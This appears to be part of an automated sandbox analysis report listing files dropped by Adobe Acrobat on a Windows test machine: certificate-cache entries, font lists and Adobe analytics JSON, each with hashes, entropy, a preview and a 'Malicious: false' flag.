Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklCbaLttfllXlE/HT8kh7NNX8RolJuRdxLlGB9lQRYwpDdt:kKb+LteT8oJNMa8RdWBwRd
MD5:	05F35591C431DC35AB51419C0C6AADB3
SHA1:	F2F58B550D6EC9614A8E1E9F4736B8FAE0CDADE1
SHA-256:	0B3E9961DDD793DF534B7BB43B2A07BBF77A35234D03CF0BD80CA966F34959A0
SHA-512:	FA55C61E7B711AA3785C6DB43903F4F0EB3767F96955C6EF9E6B7F3F0CD3D0BABC4C17388E4411A601CA3995E59E836709448E4DB23B001EAC63CA7442E0DE47
Malicious:	false
Preview:	p...... .........'=..c..(....................................................... ..........W.....b..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2310997727285145
Encrypted:	false
SSDEEP:	6:kKzYPL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:bYPiDImsLNkPlE99SNxAhUe/3
MD5:	169773F933E0E91C71D111BA0B84EC92
SHA1:	DDF0A87AF2B44CF83CA08AC4E281010A58922F0C
SHA-256:	4C94877B21C36ABDD1D048B9A9AD529D561444451EF1AFEBBC7B79A1024D2EC8
SHA-512:	039FF364683D36DE5AE04F605F918F6E43D9A8781E2949F75652280847317B9DC961C11F0DE55B53B1916F9DBF2907E5DAA072FA2F498DBF81726D274BA77B4F
Malicious:	false
Preview:	p...... ........c.x..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7672

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7672

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.36923822147171
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsS0E9AiinYUXjb24kF0Y/3qoAvJM3g98kUwPeUkwRe9:YvXKXz0EqnYUTbdiGMbLUkee9
MD5:	1A91D8377E4B764352A011452724AD80
SHA1:	594A1D0B8D9B00C2179DAA161E197F2B0C4D1B78
SHA-256:	C9BBB607A1007FA24E754E9598656567BC90E23D5474085A41AADE581F5B9200
SHA-512:	E52F4294A6EA40BBFD03457EF80F02F155B81137A289D1B35D54365570A3592840EC6BED6C86666F4D3EAC21A2E14139FD776D74540A90BEE2C0F471B59DF6E2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b16743da-39b1-4ae0-b555-b3faa7f91777","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751018660,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.307145912613773
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsS0E9AiinYUXjb24kF0Y/3qoAvJfBoTfXpnrPeUkwRe9:YvXKXz0EqnYUTbdiGWTfXcUkee9
MD5:	A3B9F9A19EC8266F7BF1E38EC25A2499
SHA1:	1428E36F4B73D91E8439429D6B4474D28FD49393
SHA-256:	712753531A584838262C2E98A263CC17C3E6BA0FF640C24560970C666B960AA7
SHA-512:	5BA23431E70D084721774369F342C13C8B0F1BF75405AC08C802902DFA36AF3E9C018DDA5A5F23915D4FBC5F25D230302EA4DED6A9432F43C39838B2013C3A79
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b16743da-39b1-4ae0-b555-b3faa7f91777","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751018660,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.286343660582978
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsS0E9AiinYUXjb24kF0Y/3qoAvJfBD2G6UpnrPeUkwRe9:YvXKXz0EqnYUTbdiGR22cUkee9
MD5:	4BA9D6EF0CEA54B9DCE7DBE45E70A4CB
SHA1:	C50F015857430D8BD31C40A01F533986691C8E3C
SHA-256:	49EBF8C7B8F51F4243C7521C978C1BD323CA6F56A223E9DDE47CE86F23710469
SHA-512:	2D34DD325AD5A28E38D37A1DD807488D3187F54A652D02925D842E86DD81892B24D28A6537BEB3F8173DECDAE53D356CD49B812833FE51CBD1B65918E77A5BC7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b16743da-39b1-4ae0-b555-b3faa7f91777","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751018660,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.343723065927475
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsS0E9AiinYUXjb24kF0Y/3qoAvJfPmwrPeUkwRe9:YvXKXz0EqnYUTbdiGH56Ukee9
MD5:	647516607B8E4986BB17A4728E1A797B
SHA1:	A262B940F88DB0BA867D284AAA0B480ADF7B67B0
SHA-256:	F58A8E49FB2C4E0711DD0040457AA6DCCC5A91DBA7040479EF6D91F7D49FC132
SHA-512:	4ACC6964131FD0CB2CE230950B10422975B0FD93418121083EFC97032AB7696E437F8AE2F5F00CDA2EA7BB1E66785CACA1A06FFDAF0D9EAA5D94518056681886
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b16743da-39b1-4ae0-b555-b3faa7f91777","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751018660,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.686761147574123
Encrypted:	false
SSDEEP:	24:Yv6XEYUX9pLgE9cQx8LennAvzBvkn0RCmK8czOCCSv:YvJYw9hgy6SAFv5Ah8cv/v
MD5:	85EBBE5FBD78BC9D690A4113E46023FD
SHA1:	97A5A1906A5449F3F2030BD24F3FF54D7C5AD88C
SHA-256:	9719555811E7A5142CA3357B6D9B05CDF9D68309023AB5D42043724DBB0017CA
SHA-512:	778297D48C32A9B0388ED2BDE2FB0D0CFB3C1EC15765DF27E7A433CDDCFAD23ED602D826E30A3491C69874125FC3AAA095917E045899A66F83D120ACAEBEBCE4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b16743da-39b1-4ae0-b555-b3faa7f91777","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751018660,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.285250519914278
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsS0E9AiinYUXjb24kF0Y/3qoAvJf8dPeUkwRe9:YvXKXz0EqnYUTbdiGU8Ukee9
MD5:	F0C350CE62CED8417C25FBF12EE57DD2
SHA1:	AFBE31333ACEAD54F2808A7C57F579E09553E7B2
SHA-256:	B8E8E49378C89B5231AC9E359AFEC30EE4B308DCBD322145D19C03D374ED1F2B
SHA-512:	5BEF75E688CA2FFB1A579579EB86AED9B74BF9DE1659FA34ED934C484C530892977C378672FBB49EE42A443E5FEE6FA2E7A9AE30810B407287EC48DBDE7C327C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b16743da-39b1-4ae0-b555-b3faa7f91777","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751018660,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.288910533330798
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsS0E9AiinYUXjb24kF0Y/3qoAvJfQ1rPeUkwRe9:YvXKXz0EqnYUTbdiGY16Ukee9
MD5:	DC4EF8ECCAF39D994DAC8DDD06C05031
SHA1:	52737B76F643CBE41BB68835BAC048FA4688C8B9
SHA-256:	B0AEDD210103D8FF7465080D25124847DC6992DE3F07A1870CF93DDD2B4E8E48
SHA-512:	93DE80D277E1DD075887EA38491A56AF692A9C4827EAB3EACC650C59E41882B0DFA3DD347AB57F70BEA64721EF2F5F989784665DBCD88C1C91B3D137F8AC2601
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b16743da-39b1-4ae0-b555-b3faa7f91777","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751018660,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.297740625362157
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsS0E9AiinYUXjb24kF0Y/3qoAvJfFldPeUkwRe9:YvXKXz0EqnYUTbdiGz8Ukee9
MD5:	C7DA32C6580BEF2AFBE4148D0C42C34D
SHA1:	127B1B983D77E499B8A45347D173C66BA72F9E40
SHA-256:	30100A398DEA910E8DEEDB953A0C0D1DF2955930DF1A94A89D88517AC3C9344C
SHA-512:	251B4D0C58D733CB012A1CCE969562E4DC81C70F428DFD052883FF84F8B719D7C220D3C70054D68A40EBC95A6088647C50BD15400D3E6ED1853C68E30E3AC8D8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b16743da-39b1-4ae0-b555-b3faa7f91777","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751018660,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.31040668041273
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsS0E9AiinYUXjb24kF0Y/3qoAvJfzdPeUkwRe9:YvXKXz0EqnYUTbdiGb8Ukee9
MD5:	A4D51FCFDE4DE9C619098ED8602F3BCA
SHA1:	EAA3026CAA299B48F7CDD3F34ED2C606B26F9CE4
SHA-256:	6CF3FB9660B0C189FCBF8BE4944AF78D6B731A6EF27ABE2BAC6328EF5264D145
SHA-512:	A1FFAE667C56524EB3F6130D5C9944B26C0BD1F2B92882A6D722B5CC9F16F9B489B547A17612B620CAB978F3F4376C49E5801A107B75CA817497C6BCF81BD5CD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b16743da-39b1-4ae0-b555-b3faa7f91777","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736751018660,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.291404803029249
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsS0E9AiinYUXjb24kF0Y/3qoAvJfYdPeUkwRe9:YvXKXz0EqnYUTbdiGg8Ukee9
MD5:	DF417AC7AEB4F1E3904471825E3E4724
SHA1:	8612C7CB6339FD3E3AAF8D71FBB64BD2512FA047
SHA-256:	5B11CF69D6FB6BC4803CA64A2DF81A4219C6E2433E5A8143E80B97FB5136DC23
SHA-512:	C21EDF054EEB38EB8B02612A47DAD7FA751E02289644B68708B0F2E0B9FAD4F1D7B51F3787CED42602183F3FAA17062637F9EDF33849A7AE2A274A211CACAD7A
Malicious:	false
